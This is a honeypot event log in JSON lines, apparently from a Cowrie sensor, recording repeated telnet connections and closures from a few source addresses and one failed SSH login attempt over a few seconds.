{"eventid":"cowrie.session.connect","src_ip":"104.236.196.85","src_port":59360,"dst_ip":"159.203.135.109","dst_port":23,"session":"3598f1b94837","protocol":"telnet","message":"New connection: 104.236.196.85:59360 (159.203.135.109:23) [session: 3598f1b94837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:46.327367Z"}
{"eventid":"cowrie.session.closed","duration":30.736827611923218,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:46.369287Z","src_ip":"51.15.157.40","session":"6b96a7a18774","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992093324661255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:46.479434Z","src_ip":"51.15.157.40","session":"d6f79b768ba9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.283334732055664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:46.524862Z","src_ip":"51.15.157.40","session":"7619d19c522d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":56504,"dst_ip":"159.203.135.109","dst_port":23,"session":"46bc57032713","protocol":"telnet","message":"New connection: 34.69.118.1:56504 (159.203.135.109:23) [session: 46bc57032713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:46.650382Z"}
{"eventid":"cowrie.session.closed","duration":31.511215925216675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:46.834465Z","src_ip":"51.15.157.40","session":"98341326522c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52372,"dst_ip":"159.203.135.109","dst_port":23,"session":"79900b2bbfe3","protocol":"telnet","message":"New connection: 157.15.20.138:52372 (159.203.135.109:23) [session: 79900b2bbfe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:46.842238Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39934,"dst_ip":"159.203.135.109","dst_port":23,"session":"540b2280905d","protocol":"telnet","message":"New connection: 51.15.157.40:39934 (159.203.135.109:23) [session: 540b2280905d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:46.875609Z"}
{"eventid":"cowrie.session.closed","duration":31.074207305908203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.116193Z","src_ip":"51.15.157.40","session":"c194349b4b51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.464499950408936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.173487Z","src_ip":"157.15.20.138","session":"c5a29a4d66f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51438,"dst_ip":"159.203.135.109","dst_port":23,"session":"266186121754","protocol":"telnet","message":"New connection: 51.15.157.40:51438 (159.203.135.109:23) [session: 266186121754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.261673Z"}
{"eventid":"cowrie.session.closed","duration":31.02986454963684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.289807Z","src_ip":"51.15.157.40","session":"e76965e6a03a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631767749786377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.335471Z","src_ip":"103.171.45.122","session":"9eeb70d728b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98531699180603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.400833Z","src_ip":"51.15.157.40","session":"a81a8f1dd3b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.758487939834595,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.573034Z","src_ip":"185.26.126.47","session":"9e7e3c75570a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37687873840332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.724340Z","src_ip":"51.15.157.40","session":"34f592e3f778","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53266,"dst_ip":"159.203.135.109","dst_port":23,"session":"da9ff377d3ec","protocol":"telnet","message":"New connection: 51.15.157.40:53266 (159.203.135.109:23) [session: da9ff377d3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.732483Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":49938,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6cb8078dbb9","protocol":"telnet","message":"New connection: 51.15.157.40:49938 (159.203.135.109:23) [session: b6cb8078dbb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.774892Z"}
{"eventid":"cowrie.session.closed","duration":31.2102267742157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.795161Z","src_ip":"51.15.157.40","session":"bd48dc9a27ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.228840589523315,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.808799Z","src_ip":"34.69.118.1","session":"03d225fe0a53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":54182,"dst_ip":"159.203.135.109","dst_port":23,"session":"87fdce7c979b","protocol":"telnet","message":"New connection: 51.15.157.40:54182 (159.203.135.109:23) [session: 87fdce7c979b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:47.993586Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49852,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dbf830e9b48","protocol":"telnet","message":"New connection: 103.171.45.122:49852 (159.203.135.109:23) [session: 2dbf830e9b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.030892Z"}
{"eventid":"cowrie.session.closed","duration":30.303097248077393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.093390Z","src_ip":"51.15.157.40","session":"d1a9dacf2a7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.371578693389893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.139346Z","src_ip":"51.15.157.40","session":"69826210eac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876830339431763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.293293Z","src_ip":"51.15.157.40","session":"c95128531144","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.239807844161987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.364049Z","src_ip":"103.171.45.122","session":"9b09aab2f68b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22950839996338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.506277Z","src_ip":"51.15.157.40","session":"852443690cce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41999864578247,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.531031Z","src_ip":"51.15.157.40","session":"ca4841568af4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27123761177063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.543017Z","src_ip":"51.15.157.40","session":"5acd5b4ede6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":56510,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f67418ad5c","protocol":"telnet","message":"New connection: 51.15.157.40:56510 (159.203.135.109:23) [session: d5f67418ad5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.647584Z"}
{"eventid":"cowrie.session.closed","duration":31.244084119796753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.681563Z","src_ip":"51.15.157.40","session":"1a15261e5caf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":57102,"dst_ip":"159.203.135.109","dst_port":23,"session":"b81e9ea7b082","protocol":"telnet","message":"New connection: 51.15.157.40:57102 (159.203.135.109:23) [session: b81e9ea7b082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.853772Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":53786,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8bddb310557","protocol":"telnet","message":"New connection: 51.15.157.40:53786 (159.203.135.109:23) [session: e8bddb310557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.880131Z"}
{"eventid":"cowrie.session.closed","duration":31.240772485733032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.940249Z","src_ip":"51.15.157.40","session":"e1ca4c940b1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":57470,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dc81120b7a7","protocol":"telnet","message":"New connection: 51.15.157.40:57470 (159.203.135.109:23) [session: 7dc81120b7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.980110Z"}
{"eventid":"cowrie.session.closed","duration":31.639114379882812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.989348Z","src_ip":"51.15.157.40","session":"c2b640967b1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.171.45.122","src_port":49866,"dst_ip":"159.203.135.109","dst_port":23,"session":"352c6e2bf0e2","protocol":"telnet","message":"New connection: 103.171.45.122:49866 (159.203.135.109:23) [session: 352c6e2bf0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:48.993150Z"}
{"eventid":"cowrie.session.closed","duration":30.625697374343872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.073966Z","src_ip":"51.15.157.40","session":"3ed491edffb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75915288925171,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.079547Z","src_ip":"51.15.157.40","session":"3a464ed2e424","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731796741485596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.186309Z","src_ip":"51.15.157.40","session":"6db2783bbaaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58006,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c5977950a49","protocol":"telnet","message":"New connection: 51.15.157.40:58006 (159.203.135.109:23) [session: 3c5977950a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.219886Z"}
{"eventid":"cowrie.session.closed","duration":30.877249479293823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.225754Z","src_ip":"157.15.20.138","session":"863a1735cd7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.104528188705444,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.249019Z","src_ip":"34.69.118.1","session":"f119ee33eefa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":58552,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6d7719f1473","protocol":"telnet","message":"New connection: 51.15.157.40:58552 (159.203.135.109:23) [session: e6d7719f1473]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.369116Z"}
{"eventid":"cowrie.session.closed","duration":31.51472568511963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.589236Z","src_ip":"51.15.157.40","session":"1986cf7a8043","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":59662,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ad81a22573","protocol":"telnet","message":"New connection: 51.15.157.40:59662 (159.203.135.109:23) [session: 66ad81a22573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.718796Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52384,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3f1c6e2c353","protocol":"telnet","message":"New connection: 157.15.20.138:52384 (159.203.135.109:23) [session: b3f1c6e2c353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.724323Z"}
{"eventid":"cowrie.session.closed","duration":31.404943704605103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.729522Z","src_ip":"51.15.157.40","session":"8c72a2b4142a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":57428,"dst_ip":"159.203.135.109","dst_port":23,"session":"64198703270c","protocol":"telnet","message":"New connection: 51.15.157.40:57428 (159.203.135.109:23) [session: 64198703270c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:49.960703Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":60686,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c1e8e934ef","protocol":"telnet","message":"New connection: 51.15.157.40:60686 (159.203.135.109:23) [session: 05c1e8e934ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:50.105943Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":51242,"dst_ip":"159.203.135.109","dst_port":23,"session":"89c9d34fad49","protocol":"telnet","message":"New connection: 51.15.157.40:51242 (159.203.135.109:23) [session: 89c9d34fad49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:50.228018Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":32954,"dst_ip":"159.203.135.109","dst_port":23,"session":"b796dcee0ce6","protocol":"telnet","message":"New connection: 51.15.157.40:32954 (159.203.135.109:23) [session: b796dcee0ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:50.283877Z"}
{"eventid":"cowrie.session.closed","duration":31.007200241088867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:50.314234Z","src_ip":"51.15.157.40","session":"4b84742c6a66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34112,"dst_ip":"159.203.135.109","dst_port":23,"session":"81c3659b5e65","protocol":"telnet","message":"New connection: 51.15.157.40:34112 (159.203.135.109:23) [session: 81c3659b5e65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:50.615304Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":56212,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e5624267659","protocol":"telnet","message":"New connection: 89.39.83.70:56212 (159.203.135.109:23) [session: 2e5624267659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:50.620973Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52376,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf371407c5a6","protocol":"telnet","message":"New connection: 157.15.20.138:52376 (159.203.135.109:23) [session: bf371407c5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:50.791063Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"2393d23ca82b","protocol":"telnet","message":"New connection: 51.15.157.40:35084 (159.203.135.109:23) [session: 2393d23ca82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:50.977727Z"}
{"eventid":"cowrie.session.closed","duration":30.434801816940308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.157885Z","src_ip":"157.15.20.138","session":"f49a78ee6eb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839725255966187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.216844Z","src_ip":"51.15.157.40","session":"1d1efbdce99d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.261987447738647,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.268139Z","src_ip":"51.15.157.40","session":"329887e2ba41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":36116,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2aa65a8f1a7","protocol":"telnet","message":"New connection: 51.15.157.40:36116 (159.203.135.109:23) [session: c2aa65a8f1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.363719Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.39.83.70","src_port":57396,"dst_ip":"159.203.135.109","dst_port":23,"session":"e22b3041a9eb","protocol":"telnet","message":"New connection: 89.39.83.70:57396 (159.203.135.109:23) [session: e22b3041a9eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.481292Z"}
{"eventid":"cowrie.session.closed","duration":31.5975341796875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.547498Z","src_ip":"51.15.157.40","session":"328d440432a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.963823556900024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.551330Z","src_ip":"51.15.157.40","session":"048075a263f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52428,"dst_ip":"159.203.135.109","dst_port":23,"session":"566c609edc91","protocol":"telnet","message":"New connection: 157.15.20.138:52428 (159.203.135.109:23) [session: 566c609edc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.685476Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":37318,"dst_ip":"159.203.135.109","dst_port":23,"session":"3caded36fae2","protocol":"telnet","message":"New connection: 51.15.157.40:37318 (159.203.135.109:23) [session: 3caded36fae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.726815Z"}
{"eventid":"cowrie.session.closed","duration":31.239803791046143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.764611Z","src_ip":"51.15.157.40","session":"7f1a550a1a8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":34824,"dst_ip":"159.203.135.109","dst_port":23,"session":"3668d2b33c9d","protocol":"telnet","message":"New connection: 51.15.157.40:34824 (159.203.135.109:23) [session: 3668d2b33c9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:51.886146Z"}
{"eventid":"cowrie.session.closed","duration":30.192015647888184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:52.084361Z","src_ip":"51.15.157.40","session":"4bae9accf81d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45171570777893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:52.096600Z","src_ip":"51.15.157.40","session":"81180c029cc8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71821141242981,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:52.262951Z","src_ip":"51.15.157.40","session":"7cb2d79c1e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":35832,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbf889e45f4b","protocol":"telnet","message":"New connection: 51.15.157.40:35832 (159.203.135.109:23) [session: dbf889e45f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:52.299440Z"}
{"eventid":"cowrie.session.closed","duration":31.258118629455566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:52.496197Z","src_ip":"51.15.157.40","session":"0c6339ca7a5e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:52.519203Z","src_ip":"122.168.114.167","session":"3b808e30143a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.15.157.40","src_port":39620,"dst_ip":"159.203.135.109","dst_port":23,"session":"a425050e8bbf","protocol":"telnet","message":"New connection: 51.15.157.40:39620 (159.203.135.109:23) [session: a425050e8bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:52.561363Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52458,"dst_ip":"159.203.135.109","dst_port":23,"session":"391de2f35bae","protocol":"telnet","message":"New connection: 157.15.20.138:52458 (159.203.135.109:23) [session: 391de2f35bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:52.777259Z"}
{"eventid":"cowrie.session.closed","duration":31.02595090866089,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:52.861327Z","src_ip":"34.69.118.1","session":"7a22bd285124","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.539008140563965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.002038Z","src_ip":"51.15.157.40","session":"5ce6186a2d05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.077691316604614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.031327Z","src_ip":"51.15.157.40","session":"40391d30f2d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.391845703125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.134267Z","src_ip":"157.15.20.138","session":"b60083e1b89a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89484691619873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.186127Z","src_ip":"157.15.20.138","session":"d08dc30c1b82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.15.20.138","src_port":52448,"dst_ip":"159.203.135.109","dst_port":23,"session":"d098c5bc5107","protocol":"telnet","message":"New connection: 157.15.20.138:52448 (159.203.135.109:23) [session: d098c5bc5107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.263599Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":41340,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebee2c950d3f","protocol":"telnet","message":"New connection: 34.69.118.1:41340 (159.203.135.109:23) [session: ebee2c950d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:22:53.408738Z"}
